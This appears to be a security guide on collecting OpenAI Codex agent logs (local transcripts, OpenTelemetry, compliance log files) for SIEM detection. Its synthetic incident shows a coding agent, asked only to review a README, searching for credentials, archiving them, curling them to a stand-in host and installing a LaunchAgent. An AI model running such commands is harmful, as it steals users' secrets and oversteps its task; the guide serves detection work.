tl;dr

You want to see what people are doing in Codex from your SIEM. Codex gives you three ways to get that activity out:

  • Local transcripts: a JSONL file per session on each user’s machine. Full commands and output, but it stays on the laptop.
  • OpenTelemetry (OTel): structured events Codex sends to a collector you run. Off by default. You switch it on in config.toml.
  • Compliance Logs Platform: OpenAI’s central CODEX_LOG files with prompts, responses, and tool input, for eligible managed workspaces.

Our advice: if your workspace is eligible, collect CODEX_LOG files into your SIEM first, because they hold the prompt and the tool input for every covered client. Add OTel for live approval decisions and failures. Collect local transcripts only when you investigate one machine.

This guide walks through each source from scratch, shows the record structure we observed in Codex 0.153.4, and ends with a setup you can copy. If you also run Claude Code, the Claude Code logging guide covers the same ground for Anthropic’s agent.

Versions used: Codex desktop application and bundled CLI 0.153.4. We observed the local transcript fields in that version. OpenTelemetry and Compliance Logs Platform behavior comes from OpenAI’s documentation, reviewed on September 22, 2026. The incident and collector-normalized examples are synthetic.

What happens when someone uses Codex

Every log source records part of one loop. A user types a prompt. Codex decides to call a tool, usually a shell command or a file patch. Depending on the approval policy, the user or the configuration allows it. The tool runs and returns output, and Codex either calls another tool or answers.

One Codex turn, and the record each step leaves. A single prompt can repeat steps 2 to 4 many times.
  1. 1PromptThe user asks for somethingmessage · PROMPT_SENT
  2. 2Tool callCodex asks to run a toolfunction_call
  3. 3ApprovalAllowed by policy or the user?codex.tool_decision
  4. 4ResultWhat the tool returnedfunction_call_output
  5. 5Turn endsComplete or abortedtask_complete

Security monitoring mostly cares about steps 1 to 4: what was asked, what the agent tried to do, whether it was allowed, and what came back.

The sources at a glance

Codex activity sources Five places Codex activity is recorded
  • Local · per session Session transcript sessions/.../*.jsonl What did the agent do?
  • Local · on by default Prompt history history.jsonl What did the user ask across sessions?
  • Local · diagnostic Desktop logs *.log What did the application do?
  • Central · opt-in OpenTelemetry codex.* What is happening across the fleet?
  • Central · managed Compliance logs CODEX_LOG What did OpenAI retain centrally?
Source Where it lives On by default? What it contains Best for
Session transcript ~/.codex/sessions/ on each machine Yes Messages, tool calls with full arguments, tool output, turn settings Investigating one session in full
Prompt history ~/.codex/history.jsonl on each machine Yes Typed prompts across sessions Finding which session to open
Desktop logs ~/Library/Logs/com.openai.codex/ Yes Application diagnostics: Git, worktrees, connections Troubleshooting the app
OpenTelemetry Your collector, then your SIEM No Prompt, approval, tool result, and API events. Prompt text only if enabled Live monitoring across all users
Compliance Logs Platform OpenAI, retrieved as files over an API Eligible managed workspaces Prompts, responses, tool input, status, some decisions Central record across eligible Codex clients

Two terms come up throughout:

  • JSONL (JSON Lines) is a text file with one complete JSON object per line. Codex appends a line each time something happens.
  • OpenTelemetry is an open standard for sending logs, metrics, and traces. Codex sends events to an OTel collector, which forwards them to your SIEM. Most SIEMs can receive OTel directly or through the collector.

Prompt history and desktop logs are worth knowing about, but neither belongs in a SIEM:

  • history.jsonl lists the prompts a user typed across all their sessions. It has no agent replies, tool calls, or results. Use it to find which session to open. It is written by default (persistence = "save-all") at ${CODEX_HOME:-$HOME/.codex}/history.jsonl, and is missing if a user sets [history] persistence = "none" in config.toml.
  • Desktop logs describe the application itself: Git file watchers, worktrees, browser and connection problems. A Git warning there means the app had trouble watching the repository. It does not mean the agent ran git; that evidence comes from a tool call in the session transcript.

The rest of this guide covers the three sources that record agent activity.

Source 1: the local session transcript

The transcript is the most detailed record Codex writes: every message, every tool call with its full arguments, and every result. It is also the hardest to collect, because it sits on each user’s machine. We will find the files, read their structure, and then look at what suspicious activity looks like in them.

Find the files on macOS

On macOS, Codex session records live under CODEX_HOME, which defaults to ~/.codex. Desktop diagnostic logs live separately under the macOS Library. The common locations are:

~/.codex/sessions/
~/.codex/archived_sessions/
~/Library/Logs/com.openai.codex/YYYY/MM/DD/

If an organization changes CODEX_HOME, the session and archived-session directories move with it. Desktop diagnostic logs remain under the macOS Library path. See the Codex troubleshooting guide for the current paths and guidance on sharing logs safely.

Start by checking the installed version. The desktop application keeps a compatibility bundle at this path:

/Applications/Codex.app/Contents/Resources/codex --version

Then list the local Codex transcripts without opening their contents:

find "${CODEX_HOME:-$HOME/.codex}/sessions" \
  -type f -name '*.jsonl' -print

Archived sessions use the same approach:

find "${CODEX_HOME:-$HOME/.codex}/archived_sessions" \
  -type f -name '*.jsonl' -print

Desktop logs are organized into date directories:

find "$HOME/Library/Logs/com.openai.codex" \
  -type f -name '*.log' -print

These files can contain sensitive information. Review their contents before sharing or uploading them.

How a transcript is structured

The following families and fields were observed in local Codex transcripts written by Codex 0.153.4. OpenAI does not currently publish a schema for these on-disk files. Its version-specific App Server schema covers a separate JSON-RPC interface, not local transcript storage. Treat the fields below as version-specific implementation details and test parsers against the Codex versions you operate. The examples retain observed field names and nesting, with replacement identifiers, paths, times, prompts, and outputs.

A local Codex transcript uses JSON Lines: each line is one complete JSON object. This example is pretty-printed so the structure is easier to see:

{
  "timestamp": "2026-09-21T09:30:00.000Z",
  "type": "response_item",
  "ordinal": 18,
  "payload": {
    "type": "function_call",
    "name": "exec_command",
    "call_id": "call_example_01",
    "arguments": "{\"cmd\":\"git status --short\",\"workdir\":\"/Users/alex/projects/example\"}"
  }
}

The first type identifies the record family: this record is a response_item. The type inside payload identifies the specific response: this one is a function_call. The table below shows the other values that can appear. payload.arguments is a JSON-encoded string, so a parser may need to decode it separately.

Outer type Common inner type or fields The question it helps answer
session_meta id, cwd, cli_version, source, git, model_provider Which Codex session, version, repository, and launch source produced this file?
turn_context turn_id, cwd, workspace_roots, model, approval_policy, sandbox and permission fields What boundaries and controls were in place for this user turn?
response_item message, reasoning, function_call, function_call_output, custom_tool_call, custom_tool_call_output, agent_message, compaction What was said, requested of a tool, or returned by it?
event_msg task_started, item_completed, task_complete, turn_aborted, thread_settings_applied, token_count Did the turn start, finish, change settings, or stop early?
token_usage_record Session, thread, turn, response, and usage fields Which execution consumed the recorded tokens?
compacted Replacement context and related identifiers Was earlier context condensed during a long conversation?
world_state Captured state and context fields What state did Codex preserve for later reconstruction?
Read a local Codex transcript as an ordered sequence. Context establishes the expected boundaries; calls and outputs describe activity; lifecycle events say how the turn ended.
  1. 1SessionWho, where, which version?session_meta
  2. 2TurnWhat scope and controls applied?turn_context
  3. 3CallWhich tool and arguments?function_call
  4. 4ResultWhat happened?function_call_output
  5. 5LifecycleComplete, failed, or aborted?event_msg

To see which families exist in one local Codex transcript, choose the file explicitly and list only the outer and inner types:

session_file="$HOME/.codex/sessions/YYYY/MM/DD/example.jsonl"
jq -r '[.type, (.payload.type // "-")] | @tsv' "$session_file" \
  | sort -u

Session metadata identifies the producer

session_meta identifies the session and its producer context. It can connect the local Codex transcript to a Codex version, launch source, working directory, model provider, and Git context.

{
  "timestamp": "2026-09-21T09:29:55.000Z",
  "type": "session_meta",
  "ordinal": 0,
  "payload": {
    "id": "session_example_01",
    "cwd": "/Users/alex/projects/example",
    "originator": "codex_desktop",
    "cli_version": "0.153.4",
    "source": "desktop",
    "model_provider": "openai",
    "git": {
      "branch": "codex/logging-demo",
      "repository_url": "https://github.com/example/example.git"
    }
  }
}

This record helps during upgrades: if a parser suddenly stops recognizing a field, cli_version helps distinguish a schema change from malformed data.

Turn context establishes the expected boundary

One session can contain many user turns. A turn_context record describes the environment for a particular turn:

{
  "timestamp": "2026-09-21T09:29:58.000Z",
  "type": "turn_context",
  "ordinal": 12,
  "payload": {
    "turn_id": "turn_example_01",
    "root_turn_id": "turn_example_01",
    "cwd": "/Users/alex/projects/example",
    "model": "example-model",
    "approval_policy": "on-request",
    "workspace_roots": [
      "/Users/alex/projects/example"
    ],
    "collaboration_mode": {
      "kind": "default"
    }
  }
}

Think of cwd and workspace_roots as the expected neighborhood. If a later call reads ~/.ssh, writes to ~/Library/LaunchAgents, or stages files from another repository, the contrast is immediately visible. Approval, sandbox, and permission fields record configured controls. Validating the safety of resulting actions requires additional evidence.

Response items contain the observable work

response_item is a broad container. Its inner payload.type distinguishes messages, reasoning summaries, tool calls, tool outputs, and compaction records. Private model reasoning may be absent or summarized. For security work, the observable call, its arguments, its output, and the context around it are the useful evidence.

A benign call and its result look like this:

{
  "timestamp": "2026-09-21T09:30:00.000Z",
  "type": "response_item",
  "ordinal": 18,
  "payload": {
    "type": "function_call",
    "name": "exec_command",
    "call_id": "call_example_01",
    "arguments": "{\"cmd\":\"npm test\",\"workdir\":\"/Users/alex/projects/example\"}"
  }
}

{
  "timestamp": "2026-09-21T09:30:04.120Z",
  "type": "response_item",
  "ordinal": 19,
  "payload": {
    "type": "function_call_output",
    "call_id": "call_example_01",
    "output": "Process exited with code 0\nFinal output:\n42 tests passed"
  }
}

The same call_id joins intent to outcome. The first record says what Codex asked the tool to do; the second says what the tool returned. Arguments may themselves be JSON-encoded strings, so a collector may need to decode a second layer.

To isolate these pairs without printing unrelated prompts or messages:

jq -c '
  select(
    .type == "response_item" and
    (.payload.type | test("^(function|custom_tool)_call(_output)?$"))
  )
' "$session_file"

Lifecycle records show whether the turn ended cleanly

event_msg records give activity a beginning and an end. Observed inner types include task_started, item_completed, task_complete, turn_aborted, thread_settings_applied, and token_count.

{
  "timestamp": "2026-09-21T09:29:58.100Z",
  "type": "event_msg",
  "ordinal": 13,
  "payload": {
    "type": "task_started",
    "turn_id": "turn_example_01"
  }
}

{
  "timestamp": "2026-09-21T09:30:04.300Z",
  "type": "event_msg",
  "ordinal": 20,
  "payload": {
    "type": "task_complete",
    "turn_id": "turn_example_01",
    "last_agent_message": "Tests pass."
  }
}

An aborted turn is still worth retaining. A tool call may have completed before the user stopped the task. Completed file writes or network requests survive the interruption.

With the structure mapped, you can stop reading records in isolation and ask whether the sequence stays within the task’s expected scope.

What suspicious activity looks like

The examples in this section are synthetic scenarios built from the locally observed Codex record shape. Names and paths are fictional, secrets are placeholders, and .invalid makes the network destination deliberately non-operational.

No single command below proves malicious intent. The signal comes from the mismatch between the user’s task, the configured workspace, and the sequence of actions.

Pattern 1: secret discovery outside the workspace

Suppose the turn began in /Users/alex/projects/example, but the next call searches the home directory for common credential files:

{
  "timestamp": "2026-09-21T10:04:12.000Z",
  "type": "turn_context",
  "ordinal": 31,
  "payload": {
    "turn_id": "turn_example_02",
    "cwd": "/Users/alex/projects/example",
    "workspace_roots": [
      "/Users/alex/projects/example"
    ],
    "approval_policy": "on-request"
  }
}

{
  "timestamp": "2026-09-21T10:04:13.500Z",
  "type": "response_item",
  "ordinal": 32,
  "payload": {
    "type": "function_call",
    "name": "exec_command",
    "call_id": "call_example_02",
    "arguments": "{\"cmd\":\"find \\\"$HOME\\\" -name .env -o -path '*/.aws/credentials' -o -path '*/.ssh/id_*'\",\"workdir\":\"/Users/alex/projects/example\"}"
  }
}

The target expands from one repository to the whole home directory, and the filenames indicate credential discovery. That scope change deserves review even if the command failed or required approval.

Pattern 2: collection followed by an outbound transfer

Individual commands can appear ambiguous. In sequence, an archive of configuration files followed by a network upload shows a collection-and-transfer pattern:

{
  "timestamp": "2026-09-21T10:05:01.000Z",
  "type": "response_item",
  "ordinal": 40,
  "payload": {
    "type": "function_call",
    "name": "exec_command",
    "call_id": "call_example_03",
    "arguments": "{\"cmd\":\"tar -czf /tmp/project-config.tgz .env config/\",\"workdir\":\"/Users/alex/projects/example\"}"
  }
}

{
  "timestamp": "2026-09-21T10:05:01.400Z",
  "type": "response_item",
  "ordinal": 41,
  "payload": {
    "type": "function_call_output",
    "call_id": "call_example_03",
    "output": "Process exited with code 0\nFinal output:\n"
  }
}

{
  "timestamp": "2026-09-21T10:05:03.000Z",
  "type": "response_item",
  "ordinal": 42,
  "payload": {
    "type": "function_call",
    "name": "exec_command",
    "call_id": "call_example_04",
    "arguments": "{\"cmd\":\"curl --data-binary @/tmp/project-config.tgz https://collector.example.invalid/upload\",\"workdir\":\"/Users/alex/projects/example\"}"
  }
}

Here, sensitive-looking files are packaged, written to a temporary location, and then supplied to a network client. The timestamps and ordinals preserve the order; each call_id connects a call to its own result.

Pattern 3: persistence outside the repository

A coding task rarely needs to install a per-user startup item:

{
  "timestamp": "2026-09-21T10:06:22.000Z",
  "type": "response_item",
  "ordinal": 51,
  "payload": {
    "type": "function_call",
    "name": "exec_command",
    "call_id": "call_example_05",
    "arguments": "{\"cmd\":\"mkdir -p \\\"$HOME/Library/LaunchAgents\\\" && cp ./fixtures/com.example.update.plist \\\"$HOME/Library/LaunchAgents/\\\"\",\"workdir\":\"/Users/alex/projects/example\"}"
  }
}

{
  "timestamp": "2026-09-21T10:06:22.180Z",
  "type": "response_item",
  "ordinal": 52,
  "payload": {
    "type": "function_call_output",
    "call_id": "call_example_05",
    "output": "Process exited with code 0\nFinal output:\n"
  }
}

{
  "timestamp": "2026-09-21T10:06:22.300Z",
  "type": "event_msg",
  "ordinal": 53,
  "payload": {
    "type": "turn_aborted",
    "turn_id": "turn_example_02",
    "reason": "interrupted"
  }
}

The destination is a macOS persistence location outside the declared workspace. The empty successful output suggests the copy completed. The later abort records only that the turn stopped and contains no reversal event.

Treat these examples as triage clues. Production detections need sequence, scope mismatch, and surrounding context to support a decision.

Putting it all together

In this synthetic incident, the user asks Codex to review one README file. The recorded activity then searches for credentials outside the repository, creates an archive, attempts to upload it, installs a startup item, and ends only when the turn is interrupted.

An end-to-end JSONL file for that incident would look like this. Each line is one complete event:

{"timestamp":"2026-09-21T10:04:10.000Z","type":"session_meta","ordinal":0,"payload":{"id":"session_example_02","cwd":"/Users/alex/projects/example","originator":"codex_desktop","cli_version":"0.153.4","source":"desktop","model_provider":"openai","git":{"branch":"main","repository_url":"https://github.com/example/example.git"}}}
{"timestamp":"2026-09-21T10:04:11.000Z","type":"response_item","ordinal":1,"payload":{"type":"message","role":"user","content":[{"type":"input_text","text":"Review README.md for spelling and clarity. Do not change anything outside this repository."}]}}
{"timestamp":"2026-09-21T10:04:11.100Z","type":"turn_context","ordinal":2,"payload":{"turn_id":"turn_example_02","cwd":"/Users/alex/projects/example","workspace_roots":["/Users/alex/projects/example"],"approval_policy":"on-request"}}
{"timestamp":"2026-09-21T10:04:11.200Z","type":"event_msg","ordinal":3,"payload":{"type":"task_started","turn_id":"turn_example_02"}}
{"timestamp":"2026-09-21T10:04:13.500Z","type":"response_item","ordinal":4,"payload":{"type":"function_call","name":"exec_command","call_id":"call_example_02","arguments":"{\"cmd\":\"find \\\"$HOME\\\" -name .env -o -path '*/.aws/credentials'\",\"workdir\":\"/Users/alex/projects/example\"}"}}
{"timestamp":"2026-09-21T10:04:13.900Z","type":"response_item","ordinal":5,"payload":{"type":"function_call_output","call_id":"call_example_02","output":"Process exited with code 0\nFinal output:\n/Users/alex/.aws/credentials\n/Users/alex/projects/example/.env\n"}}
{"timestamp":"2026-09-21T10:05:01.000Z","type":"response_item","ordinal":6,"payload":{"type":"function_call","name":"exec_command","call_id":"call_example_03","arguments":"{\"cmd\":\"tar -czf /tmp/project-config.tgz .env $HOME/.aws/credentials\",\"workdir\":\"/Users/alex/projects/example\"}"}}
{"timestamp":"2026-09-21T10:05:01.400Z","type":"response_item","ordinal":7,"payload":{"type":"function_call_output","call_id":"call_example_03","output":"Process exited with code 0\nFinal output:\n"}}
{"timestamp":"2026-09-21T10:05:03.000Z","type":"response_item","ordinal":8,"payload":{"type":"function_call","name":"exec_command","call_id":"call_example_04","arguments":"{\"cmd\":\"curl --data-binary @/tmp/project-config.tgz https://collector.example.invalid/upload\",\"workdir\":\"/Users/alex/projects/example\"}"}}
{"timestamp":"2026-09-21T10:05:03.300Z","type":"response_item","ordinal":9,"payload":{"type":"function_call_output","call_id":"call_example_04","output":"Process exited with code 6\nFinal output:\ncurl: could not resolve host: collector.example.invalid\n"}}
{"timestamp":"2026-09-21T10:06:22.000Z","type":"response_item","ordinal":10,"payload":{"type":"function_call","name":"exec_command","call_id":"call_example_05","arguments":"{\"cmd\":\"mkdir -p \\\"$HOME/Library/LaunchAgents\\\" && cp ./fixtures/com.example.update.plist \\\"$HOME/Library/LaunchAgents/\\\"\",\"workdir\":\"/Users/alex/projects/example\"}"}}
{"timestamp":"2026-09-21T10:06:22.180Z","type":"response_item","ordinal":11,"payload":{"type":"function_call_output","call_id":"call_example_05","output":"Process exited with code 0\nFinal output:\n"}}
{"timestamp":"2026-09-21T10:06:22.300Z","type":"event_msg","ordinal":12,"payload":{"type":"turn_aborted","turn_id":"turn_example_02","reason":"interrupted"}}

Source 2: OpenTelemetry

Reading transcript files works for one laptop and one incident. To monitor every user from your SIEM, you need events sent to a central place as they happen. That is what OTel does.

Codex supports opt-in OpenTelemetry export for structured events, metrics, and traces. OpenAI documents event types covering conversation starts, API and streaming activity, user prompts, tool decisions, and tool results. The export is disabled by default.

How OTel events reach your SIEM. Codex batches events in the background and sends them over OTLP, the OpenTelemetry protocol.
  1. 1CodexEmits codex.* events on each machine[otel] exporter
  2. 2OTLP exportgRPC or HTTP to your endpoint:4317 · :4318
  3. 3CollectorReceives, filters, forwardsOTel Collector
  4. 4SIEMSearch, alert, retainyour index

Configuration belongs in the user-level ~/.codex/config.toml. Codex ignores otel settings placed in a project-local .codex/config.toml, preventing a repository from redirecting telemetry itself.

Who decides what is logged?

Codex decides which OTel events and fields exist. Whoever configures the machine decides which pipelines leave it, where they go, and whether raw prompt text is included.

This example enables structured logs, traces, and raw user prompt text. It disables the metrics exporter because aggregate counters are outside this detection path. Add it to the user-level ~/.codex/config.toml, then replace the collector address and header with values for your environment. The available values are listed in OpenAI’s Codex configuration reference.

[otel]
environment = "production"
log_user_prompt = true
exporter = { otlp-grpc = { endpoint = "https://collector.example.invalid:4317", headers = { "x-otlp-api-key" = "${OTLP_TOKEN}" } } }
metrics_exporter = "none"
trace_exporter = { otlp-grpc = { endpoint = "https://collector.example.invalid:4317", headers = { "x-otlp-api-key" = "${OTLP_TOKEN}" } } }

The settings divide responsibility between labeling, export, content, and collector access:

  • environment = "production" adds an environment label to every emitted event. Use it to separate development, staging, and production data in the collector.
  • exporter sends structured codex.* log events using OTLP over gRPC. Its nested endpoint and headers values configure the collector connection.
  • metrics_exporter = "none" keeps aggregate counters out of this detection-focused pipeline.
  • trace_exporter exports traces using OTLP over gRPC and supplies its collector connection.
  • log_user_prompt = true includes raw prompt text in codex.user_prompt events. Set it to false when the collector should receive prompt length without the prompt text.
  • endpoint is the organization-controlled collector address. example.invalid is reserved and will not send data anywhere.
  • headers adds authentication or routing metadata. ${OTLP_TOKEN} is read from the environment, which keeps the token out of this configuration file.

This configuration sends the most telemetry Codex exposes through these controls. Raw prompt text and tool output snippets can be sensitive, so the collector needs appropriate retention, redaction, and access controls.

Codex still defines which event types and fields exist. The settings do not provide a per-event allowlist or guarantee full tool output. For example, codex.tool_result contains an output snippet. Keep the local Codex transcript when an investigation needs the richer record. One incident, three views shows what each source keeps.

Codex product analytics are configured separately from these OTel exporters.

What a Codex OTel event contains

Codex leaves the session JSONL file in its local store. It creates new telemetry events, batches them asynchronously, and exports those batches using OTLP over HTTP or gRPC. Pending events are flushed when Codex shuts down.

Every event carries shared context such as the service name, Codex version, configured environment, conversation identifier, model, and sandbox or approval settings. The named event then adds its own fields. A collector or SIEM typically flattens that OTel envelope into something easier to query.

The following example is an illustrative, collector-normalized view of a codex.tool_result event. It uses the documented categories of data. Collector mapping determines the exact raw OTLP payload and field names:

{
  "resource": {
    "service": "codex",
    "codex_version": "0.153.4",
    "environment": "production"
  },
  "event": {
    "name": "codex.tool_result",
    "timestamp": "2026-09-21T10:05:01.400Z",
    "common_attributes": {
      "conversation_id": "conversation_example_01",
      "model": "example-model",
      "sandbox_policy": "workspace-write",
      "approval_policy": "on-request"
    },
    "attributes": {
      "duration_ms": 412,
      "success": true,
      "output": "Process exited with code 0; output snippet follows"
    }
  }
}

The exact OTLP wire representation depends on the selected protocol, and the field layout visible in a destination depends on how its collector maps resource attributes, log bodies, and event attributes. Treat the event name and documented semantics as the stable concepts; test the actual output of the Codex version and collector you operate before writing a parser.

One action can therefore produce different evidence in each source:

  1. The local Codex transcript may contain a function_call with the full encoded command and a separate function_call_output joined by call_id.
  2. OTel may emit a codex.tool_decision describing whether the action was approved and where that decision came from.
  3. OTel may then emit a codex.tool_result summarizing duration, success, and an output snippet.

Representative documented log events include:

Event Security-relevant context
codex.conversation_starts Model, reasoning settings, and sandbox or approval policy
codex.user_prompt Prompt length; content remains redacted unless explicitly enabled
codex.tool_decision Whether a tool was approved or denied and where that decision came from
codex.tool_result Tool duration, success, and an output snippet
codex.api_request Attempt, status, duration, success, and error information
codex.sse_event / codex.websocket_event Streaming or message kind, outcome, duration, and selected usage fields

OTel can also export counters and duration histograms. For example, codex.tool.call can be grouped by tool and success, with codex.tool.call.duration_ms recording duration. Metrics answer volume and timing questions. Event or transcript records carry command or patch content.

Putting the OTel sequence together

The same synthetic incident could produce a central OTel view like the compact sequence below. This is an illustrative, collector-normalized representation. It is not a raw OTLP payload or a guaranteed event-for-event export. It uses documented event semantics and the preceding log_user_prompt = true setting.

{"resource":{"service":"codex","codex_version":"0.153.4","environment":"production"},"event":{"name":"codex.conversation_starts","timestamp":"2026-09-21T10:04:10.000Z","common_attributes":{"conversation_id":"conversation_example_02","model":"example-model","sandbox_policy":"workspace-write","approval_policy":"on-request"},"attributes":{"reasoning_setting":"example-setting"}}}
{"resource":{"service":"codex","codex_version":"0.153.4","environment":"production"},"event":{"name":"codex.user_prompt","timestamp":"2026-09-21T10:04:11.000Z","common_attributes":{"conversation_id":"conversation_example_02","model":"example-model","sandbox_policy":"workspace-write","approval_policy":"on-request"},"attributes":{"prompt_length":90,"prompt":"Review README.md for spelling and clarity. Do not change anything outside this repository."}}}
{"resource":{"service":"codex","codex_version":"0.153.4","environment":"production"},"event":{"name":"codex.tool_decision","timestamp":"2026-09-21T10:04:13.400Z","common_attributes":{"conversation_id":"conversation_example_02","model":"example-model","sandbox_policy":"workspace-write","approval_policy":"on-request"},"attributes":{"decision":"approved","source":"user"}}}
{"resource":{"service":"codex","codex_version":"0.153.4","environment":"production"},"event":{"name":"codex.tool_result","timestamp":"2026-09-21T10:04:13.900Z","common_attributes":{"conversation_id":"conversation_example_02","model":"example-model","sandbox_policy":"workspace-write","approval_policy":"on-request"},"attributes":{"duration_ms":400,"success":true,"output_snippet":"/Users/alex/.aws/credentials\n/Users/alex/projects/example/.env"}}}
{"resource":{"service":"codex","codex_version":"0.153.4","environment":"production"},"event":{"name":"codex.tool_decision","timestamp":"2026-09-21T10:05:00.900Z","common_attributes":{"conversation_id":"conversation_example_02","model":"example-model","sandbox_policy":"workspace-write","approval_policy":"on-request"},"attributes":{"decision":"approved","source":"user"}}}
{"resource":{"service":"codex","codex_version":"0.153.4","environment":"production"},"event":{"name":"codex.tool_result","timestamp":"2026-09-21T10:05:01.400Z","common_attributes":{"conversation_id":"conversation_example_02","model":"example-model","sandbox_policy":"workspace-write","approval_policy":"on-request"},"attributes":{"duration_ms":400,"success":true,"output_snippet":""}}}
{"resource":{"service":"codex","codex_version":"0.153.4","environment":"production"},"event":{"name":"codex.tool_decision","timestamp":"2026-09-21T10:05:02.900Z","common_attributes":{"conversation_id":"conversation_example_02","model":"example-model","sandbox_policy":"workspace-write","approval_policy":"on-request"},"attributes":{"decision":"approved","source":"user"}}}
{"resource":{"service":"codex","codex_version":"0.153.4","environment":"production"},"event":{"name":"codex.tool_result","timestamp":"2026-09-21T10:05:03.300Z","common_attributes":{"conversation_id":"conversation_example_02","model":"example-model","sandbox_policy":"workspace-write","approval_policy":"on-request"},"attributes":{"duration_ms":300,"success":false,"output_snippet":"curl: could not resolve host: collector.example.invalid"}}}
{"resource":{"service":"codex","codex_version":"0.153.4","environment":"production"},"event":{"name":"codex.tool_decision","timestamp":"2026-09-21T10:06:21.900Z","common_attributes":{"conversation_id":"conversation_example_02","model":"example-model","sandbox_policy":"workspace-write","approval_policy":"on-request"},"attributes":{"decision":"approved","source":"user"}}}
{"resource":{"service":"codex","codex_version":"0.153.4","environment":"production"},"event":{"name":"codex.tool_result","timestamp":"2026-09-21T10:06:22.180Z","common_attributes":{"conversation_id":"conversation_example_02","model":"example-model","sandbox_policy":"workspace-write","approval_policy":"on-request"},"attributes":{"duration_ms":180,"success":true,"output_snippet":""}}}

This central view records the conversation context, prompt, approval decisions, outcomes, timing, and selected result snippets. The prompt text appears because the preceding configuration enables log_user_prompt; with that setting disabled, the prompt length remains available while its content is redacted.

The sequence contains no full commands, complete outputs, transcript ordinals, call_id joins, or local turn_aborted record. Current official documentation also does not establish a per-call join between each decision and result. Shared conversation context and timestamps can support an investigation, but they do not show which exact command produced each result. Here, one snippet exposes credential-looking paths and another exposes the failed hostname. The two empty success snippets reveal no content about the archive creation or persistence write shown in the local transcript.

Source 3: the Compliance Logs Platform

If your organization has an eligible managed ChatGPT workspace, OpenAI keeps CODEX_LOG events for supported Codex activity and lets you download them. That covers local clients such as the CLI and IDE as well as web and cloud use, without touching anyone’s laptop. Eligibility, client coverage, and permissions still need validation in the target workspace. The OpenAI Admin API reference defines the event families and the fine-grained chatgpt.enterprise.compliance_logs_platform.codex_log.read scope.

You collect it as files. First list the files for a time window, then download each one:

GET /v1/compliance/workspaces/{workspace_id}/logs?event_type=CODEX_LOG&after={iso_8601_timestamp}
GET /v1/compliance/workspaces/{workspace_id}/logs/{log_file_id}

Equivalent organization-scoped routes are documented. The list route returns file metadata, not the events themselves. Use an Admin API key with only the Codex read scope, chatgpt.enterprise.compliance_logs_platform.codex_log.read. The broader chatgpt.enterprise.compliance_logs_platform.read scope also reads conversation messages and every other log type. The Compliance Logs Platform guide describes the file workflow and access model.

workspace_id="ws_EXAMPLE"
after="2026-09-21T00:00:00Z"

curl --fail-with-body --silent --show-error \
  --request GET \
  --get \
  --url "https://api.chatgpt.com/v1/compliance/workspaces/${workspace_id}/logs" \
  --data-urlencode "event_type=CODEX_LOG" \
  --data-urlencode "after=${after}" \
  --header "Authorization: Bearer ${OPENAI_ADMIN_KEY}"

The placeholders are deliberately inert. Keep the Admin key outside shell history and repositories, and write downloaded files only to an access-controlled evidence location. These files can contain prompts, responses, code, paths, tool arguments, and identifiers.

Map event families to detection questions

CODEX_LOG separates a session into explicit event families. Availability depends on the client and feature, so missing families remain a coverage question.

Security question Event family Useful fields and boundaries
What did the user ask? PROMPT_SENT session_id, prompt text, turn_id, call_id, model, and environment where present. Text can be empty for non-text content.
What did Codex return? PROMPT_RESPONSE_RECEIVED Response text, response status, token counts, reasoning setting, service tier, and available correlation identifiers.
Which action was proposed? TOOL_CALL_SUGGESTED Tool name and type, serialized tool_input, turn_id, call_id, and tool_call_id where present.
Did the Codex tool lifecycle finish? TOOL_CALL_COMPLETED / TOOL_CALL_FAILED Status plus the shared tool-call fields. The general event schema does not document complete tool output.
Was a cloud action approved? TOOL_DECISION Decision, source, tool name, and tool_call_id for Codex Cloud Agent. It omits prompts, arguments, outputs, and response content.
What happened through an app MCP tool? APP_MCP_CALL / APP_MCP_RESULT Arguments on the call; status, error detail, and an optional truncated result preview on the result, joined by call_id.

The broader catalog also includes execution, environment, plugin, access-token, and MCP elicitation lifecycle events. Build rules only from families validated for the relevant Codex client. A fleet rule that assumes Cloud Agent TOOL_DECISION coverage for every local CLI action creates a silent visibility gap.

Join prompt, action, and outcome without inventing certainty

The useful chain is ordered and contextual:

Reconstruct the recorded path from prompt to external effect. Codex records explain the agent sequence. An independent source verifies the consequential outcome.
  1. 1PromptUser objective and boundarysession_id · turn_id
  2. 2DecisionApproval outcome where coveredtool_call_id
  3. 3ActionTool name and serialized inputcall_id · tool_call_id
  4. 4ResultStatus or bounded MCP previewcall_id
  5. 5CorroborateHost, Git, identity, network, or serviceindependent record

Start from session_id, then link events with turn_id, call_id, or tool_call_id where the event family has them. When an ID is missing, leave it empty; two events close in time may be related, but that is a lead to check. event_id is for removing duplicate events at ingestion. It does not link actions.

A high-value synthetic detection sequence is:

  1. PROMPT_SENT limits work to one repository.
  2. TOOL_CALL_SUGGESTED.tool_input targets a credential path outside that repository.
  3. A covered TOOL_DECISION records approval, or the decision remains unknown for that client.
  4. TOOL_CALL_COMPLETED records a successful Codex lifecycle outcome.
  5. Endpoint file telemetry confirms a read, and proxy or destination-service logs confirm any later transfer.

This is a reason to look, and it proves nothing on its own. Repository migrations, incident response, and admin work the user asked for can look the same. The prompt, who approved the call, and what the endpoint logs show decide how seriously to take it.

Collect continuously and preserve the delivery contract

The platform produces immutable files for roughly ten-minute windows, targets p99 delivery within 30 minutes, and retains files for 30 days. Delivery is at least once, late arrivals can appear, and duplicate events must be removed with stable event_id. The OpenAI Admin API reference describes those collection properties.

For durable detection, checkpoint the list cursor or time boundary, download every file before expiry, verify the acquired object, retain the raw JSONL, and de-duplicate during ingestion. Event timestamps may arrive out of order. Sort reconstructed activity by event time while keeping file identity and collector receipt time.

One incident, three views

In the synthetic incident used throughout this guide, a user asks Codex to review README.md. The agent then searches for credentials, archives them, tries to upload the archive, and installs a startup item. Each source records it differently:

  Local transcript OpenTelemetry CODEX_LOG files
The prompt and its scope (“do not change anything outside this repository”) Yes Only with log_user_prompt = true Yes, PROMPT_SENT
Full commands (find, tar, curl, cp) Yes, in function_call arguments No Yes, serialized tool_input in TOOL_CALL_SUGGESTED
What the commands returned Yes, full output Output snippet only Status only for general tools
Who approved each call Approval policy in turn_context Yes, codex.tool_decision TOOL_DECISION for Codex Cloud only
The interrupted turn Yes, turn_aborted No Not documented
How actions link call_id, turn_id, line order Conversation ID and timestamps session_id, turn_id, call_id, tool_call_id
Available centrally No Yes, as it happens Yes, in files covering about ten minutes, with a p99 delivery target of 30 minutes

None of the three proves that the upload failed on the network side or that the startup item ran. Endpoint, proxy, and DNS logs confirm what actually happened on the machine.

OpenAI does not document that the IDs line up across sources. The local session ID, the OTel conversation ID, and the Compliance session_id may refer to the same session. Until you have tested it for your clients and versions, treat a match on time and user as a lead.

Which should you send to your SIEM?

